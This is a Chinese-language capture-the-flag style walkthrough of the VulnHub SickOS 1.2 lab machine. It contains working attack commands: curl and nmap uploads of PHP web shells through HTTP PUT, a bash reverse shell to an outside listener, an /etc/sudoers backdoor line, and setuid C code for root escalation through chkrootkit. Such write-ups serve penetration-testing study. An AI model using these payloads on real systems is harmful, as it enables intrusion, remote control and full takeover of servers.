本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现;
地址:https://www.vulnhub.com/entry/sickos-12,144/
sudo nmap -Pn -p- -n -sC -sV -T5 -oN sickos.nmap 192.168.202.13
nmap扫描结果
就开放了两个端口,先访问下web应用
常规套路,爆破下目录
发现了个test地址,访问看看
看到了一个版本lighttpd/1.4.28 搜搜了相关可能存在漏洞的exp
但是上面搜索出来的信息对应版本号只有1.4.x可能符合,但是实际测试并未成功,使用nikto扫描下
未发现什么有用的信息,这里是要根据经验来判断的,发现刚才上述出现的test目录访问的现象,猜测判断是否存在PUT上传漏洞,使用curl探测下
上述也是可以使用nc来探测是否能够使用PUT方法,确认可以通过PUT直接上传文件,这里本想列举下所有通过PUT上传的姿势总结,但是已经大佬写过了,那我就不班门弄斧了,下面是参考链接:
https://www.yeahhub.com/http-put-method-exploitation-live-penetration-testing/
https://zhuanlan.zhihu.com/p/41454441
通过burpsuite使用PUT方法上传
正常请求
更改为PUT请求上传文件
上传成功
测试执行命令
通过nmap使用PUT方法上传
nmap -p 80 192.168.202.13 --script http-put --script-args http-put.url='/test/bmapbmfx.php',http-put.file='/home/kali/Downloads/sickos/cadavers.php'
效果
通过curl命令使用PUT方法上传
curl --upload-file bmfx.php -v --url http://192.168.202.13/test/bmfx4.php -0 --http1.0 curl -i -X PUT -H "Content-Type: text/plain; charset=utf-8" -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/bmfxshit.php curl -X PUT -d '<?php system($_GET["cmd"]);' http://192.168.202.13/test/bmfx1.php curl -X PUT -d '<?php system($_GET["cmd"]); ?>' http://192.168.202.13/test/cmd2.php curl -v -H 'Expect:' -T bmfx.php "http://192.168.202.13/test/"
使用上述命令种的一种方式都可成功,已经测试过,上述都成功了,就可以开始提权了,我这靶机不是什么原因,都是对的,反弹shell不成功,索性我上传了个webshell,进行操作了
然后翻看网站根目录和目标靶机的系统版本,发现系统版本还是Ubuntu 12.04 ,提权漏洞就很多了,看看计划任务,发现了 Chkrootkit
确认版本是0.49 丢到谷歌搜索下,得到提权exp https://www.exploit-db.com/exploits/33899
上述设置了很多种端口,反弹shell都不成功,后台网上看到,说设置成本地监听8080端口才能成功,猜想目标靶机设置了防火墙拒绝了很多大部分反弹外联的端口,这里设置本地监听8080端口成功反弹shell
开始提权,根据exp的描述是目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件,所以如果没有这个文件就创建
提权方式一:
printf '#!/bin/bash
bash -i >& /dev/tcp/192.168.202.6/8080 0>&1
' > /tmp/update
本地监听8080端口,等待反弹shell
提权方法二:
追加当前反弹shell用户至sudoer进行提权
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /tmp/update
提权方法三:
不演示,之前靶机有演示过类似的,具体C代码如下:
#include<unistd.h> void main(void) { system("chown root:root /tmp/update"); system("chmod 4755 /tmp/update"); setuid(0); setgid(0); execl("/bin/sh","sh",NULL); }